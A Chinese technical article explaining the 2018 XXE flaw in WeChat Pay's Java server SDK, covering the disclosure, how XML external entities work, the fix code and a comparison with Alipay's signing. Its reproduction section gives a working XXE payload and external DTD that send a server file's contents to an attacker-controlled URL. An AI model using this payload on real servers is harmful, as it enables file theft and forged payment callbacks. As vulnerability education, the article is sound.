微信是最流行的 App 之一，特別是隨著“二維碼付款”成為潮流，越來越多的小伙伴早已習慣不帶現金出門。

[[235536]]

如果有人告訴你，現在不用你花一分錢，就能用[微信支付]買買買，這種天上掉餡餅的事，你會相信嗎?

7 月 1 日，在老牌漏洞披露平臺 Full Disclosure 出現了一封寫給微信支付的公開信。

發件人是 Rose Jackcode，信的標題是《微信支付官方SDK的XXE安全漏洞(微信支付在商戶頁面遺留了一個后門)》。

▲發表在漏洞披露平臺 Full Disclosure 上的公開信

發件人 Rose Jackcode 在信中稱，他在微信支付官方 SDK(軟件工具開發包)發現了一個安全漏洞，此漏洞可導致商家服務器被入侵，一旦攻擊者獲得商家的關鍵安全密鑰，就可以通過發送偽造信息來欺騙商家而無需付費購買任何東西。

[[235537]]

王牌對王牌

換句話說，黑客利用微信支付的這個漏洞，能實現 0 元無限買買買。

這并不是說說而已，這位網友還直接甩出了兩張圖，展示出漏洞利用的過程，中招者是 VIVO 和陌陌。

▲陌陌、VIVO 的微信支付漏洞利用過程

看不懂沒關系，為了方便小伙伴理解，他們舉了個小例子：

這個過程叫“商戶回調接口”，而這個漏洞可以讓微信支付產生“人家付款成功了”的錯覺，從而讓黑客實現 0 元購。

隨后，微信支付技術安全團隊已關注問題并及時排查，并進行更新，修復了已知的安全漏洞。

雖然微信支付安全漏洞已經被修復，但大家關注的熱度依舊高漲。查看百度熱搜指數發現，微信支付被爆漏洞這一話題依舊高居榜首。

一定不少小伙伴要吐槽了：“怎么又是修復好了才告訴我？有沒有感覺錯過了幾百萬哈....

[[235538]]

大多數人可能并不關注怎么修復安全漏洞，而是較為關心對個體產生的影響。下面我們從技術人的角度談談這次微信支付曝出的漏洞。

技術角度解讀微信支付曝出的漏洞

對于昨天（2018-07-04）微信支付的 SDK 曝出重大漏洞（XXE 漏洞），通過該漏洞，攻擊者可以獲取服務器中目錄結構、文件內容，如代碼、各種私鑰等。

獲取這些信息以后，攻擊者便可以為所欲為，其中就包括眾多媒體所宣傳的“0 元也能買買買”。

漏洞報告地址：http://seclists.org/fulldisclosure/2018/Jul/3

漏洞原理

XXE 漏洞

此次曝出的漏洞屬于 XXE 漏洞，即 XML 外部實體注入（XML External Entity Injection）。

XML 文檔除了可以包含聲明和元素以外，還可以包含文檔類型定義（即 DTD）；如下圖所示：

在 DTD 中，可以引進實體，在解析 XML 時，實體將會被替換成相應的引用內容。

該實體可以由外部引入(支持 http、ftp 等協議，后文以 http 為例說明)，如果通過該外部實體進行攻擊，就是 XXE 攻擊。

可以說，XXE 漏洞之所以能夠存在，本質上在于在解析 XML 的時候，可以與外部進行通信；當 XML 文檔可以由攻擊者任意構造時，攻擊便成為可能。

在利用 XXE 漏洞可以做的事情當中，最常見最容易實現的，便是讀取服務器的信息，包括目錄結構、文件內容等；本次微信支付爆出的漏洞便屬于這一種。

微信支付漏洞

本次漏洞影響的范圍是：在微信支付異步回調接口中，使用微信支付 SDK 進行 XML 解析的應用。

注意這里的 SDK 是服務器端的 SDK，App 端使用 SDK 并不受影響。

SDK 下載地址如下（目前微信官方宣傳漏洞已修復）：https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

SDK 中導致漏洞的代碼是 WXPayUtil 工具類中的 xmlToMap() 方法：

如上圖所示，由于在解析 XML 時沒有對外部實體的訪問做任何限制，如果攻擊者惡意構造 XML 請求，便可以對服務器進行攻擊。下面通過實例介紹攻擊的方法。

攻擊復現

下面在本機環境下進行復現。

假設本地的 Web 服務器 127.0.0.1:8080 中存在 POST 接口：/wxpay/callback，該接口中接收 XML 字符串做參數，并調用前述的 WXPayUtil.xmlToMap(strXml) 對 XML 參數進行解析。

此外，/etc/password 中存儲了重要的密碼數據（如 password1234）。

攻擊時構造的請求如下：

其中 XML 內容如下：

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [ 
    <!ENTITY % file SYSTEM "file:///etc/password"> 
    <!ENTITY % xxe SYSTEM "http://127.0.0.1:9000/xxe.dtd"> 
    %xxe; 
]> 

其中 /etc/password 為要竊取的對象，http://127.0.0.1:9000/xxe.dtd 為攻擊者服務器中的 dtd 文件，內容如下：

<!ENTITY % shell "<!ENTITY % upload SYSTEM 'http://127.0.0.1:9000/evil/%file;'>"> 
%shell; 
%upload; 

通過 xml+dtd 文件，攻擊者便可以在服務器 http://127.0.0.1:9000 中會收到如下請求：http://127.0.0.1:9000/evil/password1234。

這樣，攻擊者便得到了 /etc/password 文件的內容。

在本例中，攻擊者竊取了 /etc/password 文件中的內容，實際上攻擊者還可以獲取服務器中的目錄結構以及其他文件，只要啟動 Web 應用的用戶具有相應的讀權限。

如果獲取的信息比較復雜，如包含特殊符號，無法直接通過 http 的 URL 發送，則可以采用對文件內容進行 Base64 編碼等方法解決。

漏洞的解決

解決該漏洞的原理非常簡單，只要禁止解析 XML 時訪問外部實體即可。

漏洞曝出以后，微信進行了緊急修復，一方面是更新了 SDK，并提醒開發者使用最新的 SDK。

SDK 中修復代碼如下：

加入了如下兩行代碼：

documentBuilderFactory.setExpandEntityReferences(false); 
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); 

此外，微信官方也給出了關于 XXE 漏洞的最佳安全實踐，可以參考：

https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

筆者本人使用上述方案中建議的如下代碼修復了該漏洞：

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); 
documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 
DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); 
…… 

擴展與反思

危害不只是“0 元也能買買買”

在很多媒體的報道中，強調該漏洞的風險在于攻擊者可以不支付也可以獲得商品。

攻擊者在通過上述漏洞獲得微信支付的秘鑰以后，有不止一種途徑可以做到不支付就獲得商品。

例如，攻擊者首先在系統中下單，獲得商戶訂單號；然后便可以調用微信支付的異步回調。

其中的簽名參數便可以使用前面獲取的秘鑰對訂單號等信息進行 MD5 獲得；這樣攻擊者的異步回調就可以通過應用服務器的簽名認證，從而獲得商品。

不過，在很多有一定規模的購物網站（或其他有支付功能的網站），會有對賬系統，如定時將系統中的訂單狀態與微信、支付寶的后臺對比。

如果出現不一致可以及時報警并處理，因此該漏洞在這方面的影響可能并沒有想象的那么大。

然而，除了“0 元也能買買買”，攻擊者可以做的事情還有很多很多；理論上來說，攻擊者可能獲得應用服務器上的目錄結構、代碼、數據、配置文件等，可以根據需要進行進一步破壞。

漏洞不限于微信支付 SDK

雖然微信支付曝出該漏洞受到了廣泛關注，但該漏洞絕不僅僅存在于微信支付中。

由于眾多 XML 解析器默認不會禁用對外部實體的訪問，因此應用的接口如果有以下幾個特點就很容易掉進 XXE 漏洞的坑里：

• 接口使用 XML 做請求參數。
• 接口對外公開，或容易獲得：例如一些接口提供給外部客戶調用，或者接口使用 http 很容易抓包，或者接口比較容易猜到(如微信支付的異步回調接口)。
• 接口中解析 XML 參數時，沒有禁用對外部實體的訪問，建議大家最好檢查一下自己的應用中是否有類似的漏洞，及時修復。

XML 與 JSON

XML 與 JSON 是系統間交互常用的兩種數據格式，雖然很多情況下二者可以互換，但是筆者認為，JSON 作為更加輕量級更加純粹的數據格式，更適合于系統間的交互。

而 XML，作為更加重量級更加復雜的數據格式，其 DTD 支持自定義文檔類型，在更加復雜的配置場景下有著更好的效果，典型的場景如 Spring 相關的配置。

題外話：微信支付的簽名認證

在前面曾經提到，應用中存儲的秘鑰一旦泄露，攻擊者便可以完全繞過簽名認證，這是因為微信支付使用的是對稱式的簽名認證。

微信方和應用方，使用相同的秘鑰對相同的明文進行 MD5 簽名，只要應用方的秘鑰泄露，簽名認證就完全成了擺設。

在這方面支付寶的做法更規范也更安全：支付寶為應用生成公私鑰對，公鑰由應用方保存，私鑰由支付寶保存；在回調時，支付寶使用私鑰進行簽名，應用方使用公鑰進行驗證。

這樣只要支付寶保存的私鑰不泄露，攻擊者只有公鑰則難以通過簽名認證。

參考文獻：

• https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5
• http://seclists.org/fulldisclosure/2018/Jul/3
• https://www.cnblogs.com/tongwen/p/5194483.html

關于此次微信出現的支付漏洞你怎么看？掃描下方二維碼，關注51CTO技術棧公眾號。歡迎在技術棧微信公眾號留言探討。